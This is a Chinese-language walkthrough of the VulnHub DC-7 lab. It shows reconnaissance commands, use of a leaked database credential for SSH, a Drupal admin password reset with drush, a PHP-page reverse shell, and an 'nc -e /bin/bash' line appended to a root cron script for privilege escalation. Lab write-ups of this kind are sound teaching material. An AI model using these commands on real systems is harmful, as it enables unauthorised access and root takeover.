二刷DC: 7靶场
DC: 7
来自 <https://www.vulnhub.com/entry/dc-7,356/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.157
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.157
4,访问80端口的http服务
网站由drupal CMS搭建。再扫描其网站子目录
dirsearch -u http://192.168.23.157 -x 404,403,400
扫描识别网站指纹特征
whatweb -v 192.168.23.157
5,提示说明:你需要做的,是跳出固有的思维模式(“跳出盒子思考”)。这里存在github源码泄露,通过github找到作者@DC7USER,翻找源码找到config配置文件,打开查看内容
https://github.com/Dc7User/staffdb/blob/master/config.php
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
6,根据上述代码可得服务名称和用户名以及密码(dc7user/MdR3xOgB7#dW),还有数据库的名称,拿到以上信息尝试利用。后台登录:失败;数据库登录:失败;尝试远程连接ssh:成功
ssh dc7user@192.168.23.157
信息收集一下
7,查看一下能否sudo提权
sudo -l
find / -perm -4000 2>/dev/null
再查看一下收到的邮件
cat /var/mail/dc7user
从日志可见:
- 脚本会尝试删除 /home/dc7user/backups/* 下的旧备份:
rm: cannot remove '/home/dc7user/backups/*': No such file or directory
第一次执行时,目录为空,导致报错(正常情况)。 - 然后会生成数据库备份文件:
Database dump saved to /home/dc7user/backups/website.sql [success]
说明脚本可能执行类似:
rm -f /home/dc7user/backups/*
mysqldump ... > /home/dc7user/backups/website.sql
并输出日志信息。
查看一下 backups.sh 文件
只有可读和可执行的权限,并不能写文件,想要写入的话还需要获取到webshell,需要使用www-data的用户权限。
8,Drush 是针对 Drupal 的命令行工具与脚本接口(a command-line shell and Unix scripting interface),用于加速安装、开发、调试与维护 Drupal 站点,能够把很多在后台 UI 中重复的操作变成命令或脚本自动化执行。需要在 drupal web目录/var/www/[drupal_folder_name]执行。使用以下命令修改管理员admin的密码
cd /var/www/html
drush user-password admin --password="123"
使用账户密码登录drupal
登录成功。需要下载PHP模块供网站选择使用,模块包下载地址如下
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
http://192.168.23.157/admin/modules/install
成功下载PHP模块。再去安装一下
安装PHP模块成功
然后在Content中添加反弹shell木马,依次点击:content(内容)→add content→basic page(为静态内容使用基本页面),测试添加,命名为shell。选择format为php code
http://192.168.23.157/node/add/page
点击save保存即可触发反弹shell,注意kali打开对4444端口的监听
9,启动一个可交互式shell,然后再信息收集一下
python -c 'import pty;pty.spawn("/bin/bash")'
将反弹shell命令追加到文件backups.sh当中,等待root用户执行脚本反弹shell即可得到root权限
cd /opt/scripts
echo "nc -e /bin/bash 192.168.23.128 1234" >> backups.sh
与此同时kali打开对1234端口的监听,成功getshell提权变成root用户
漏洞利用主线
- 网络与主机发现(定位靶机)
目的:发现目标主机 IP。
命令/动作:nmap -sn 192.168.23.0/24
结果:攻击机 192.168.23.128,靶机 192.168.23.157。 - 端口/服务探测(侦察)
目的:识别开放端口、服务与版本指纹,为后续攻击面决策。
命令/动作:nmap -sV -T4 -p- -A 192.168.23.157。
结果:80/tcp 有 HTTP(Drupal CMS)。 - Web 扫描与指纹
目的:发现 Web 应用、目录、可利用点。
命令/动作:dirsearch -u http://192.168.23.157 -x 404,403,400、whatweb -v 192.168.23.157。
结果:确认 Drupal、发现站点结构与可能的管理入口。 - 跳出常规思维——关联源代码泄露
目的:寻找外部泄露(GitHub 等)以获得敏感信息。
动作/证据:在 GitHub 找到 config.php,包含数据库凭据(dc7user / MdR3xOgB7#dW)与数据库名 Staff。
含义:公开源码泄露了凭证,直接提升了攻击效率。 - 凭据利用尝试
目的:基于泄露凭据尝试登录各种服务。
结果:后台登录与数据库登录失败,但可以 SSH 登录:ssh dc7user@192.168.23.157(凭据或其它方式获得)。 - 本地信息收集与权限检查
目的:查看 sudo 权限、SUID 二进制、文件/目录权限等以寻找提权路径。
命令/动作:sudo -l、find / -perm -4000 2>/dev/null、查看邮件 cat /var/mail/dc7user。
重要发现:cron 由 root 定期执行 /opt/scripts/backups.sh,日志显示脚本会 rm /home/dc7user/backups/* 并生成 website.sql。备份目录位于普通用户主目录下,且脚本由 root 执行 → 潜在的本地提权/符号链接攻击点。 - 利用 Drupal(Drush /模块 /PHP模块)获得代码执行
目的:通过 CMS 功能(Drush 或上传/启用 php 模块)获取 Web 执行权限,形成可写入 web 上的反弹 shell。
关键动作:在 Drupal web 目录执行或使用 Drush 改 admin 密码;安装 php 模块以允许在页面中执行 PHP;在 Content 中新建带 PHP 代码的页面(将反弹命令放在页面中),从而触发反弹 shell(监听端口,如 4444)。
结果:得到可交互 shell(python -c 'import pty;pty.spawn("/bin/bash")' 等提升交互性步骤)。 - 持久化写入备份脚本以提升到 root
目的:利用可写的 webshell 将反弹或反向 shell 命令追加到 /opt/scripts/backups.sh(root 定时执行),等待 cron 执行后反弹为 root。
关键动作(你给出的流程):- cd /opt/scripts
- echo "nc -e /bin/bash 192.168.23.128 1234" >> backups.sh
- 在 Kali 上监听 nc -lvp 1234,等待 root cron 触发 → 获得 root shell。
结果:成功从普通用户/WWW 提权为 root。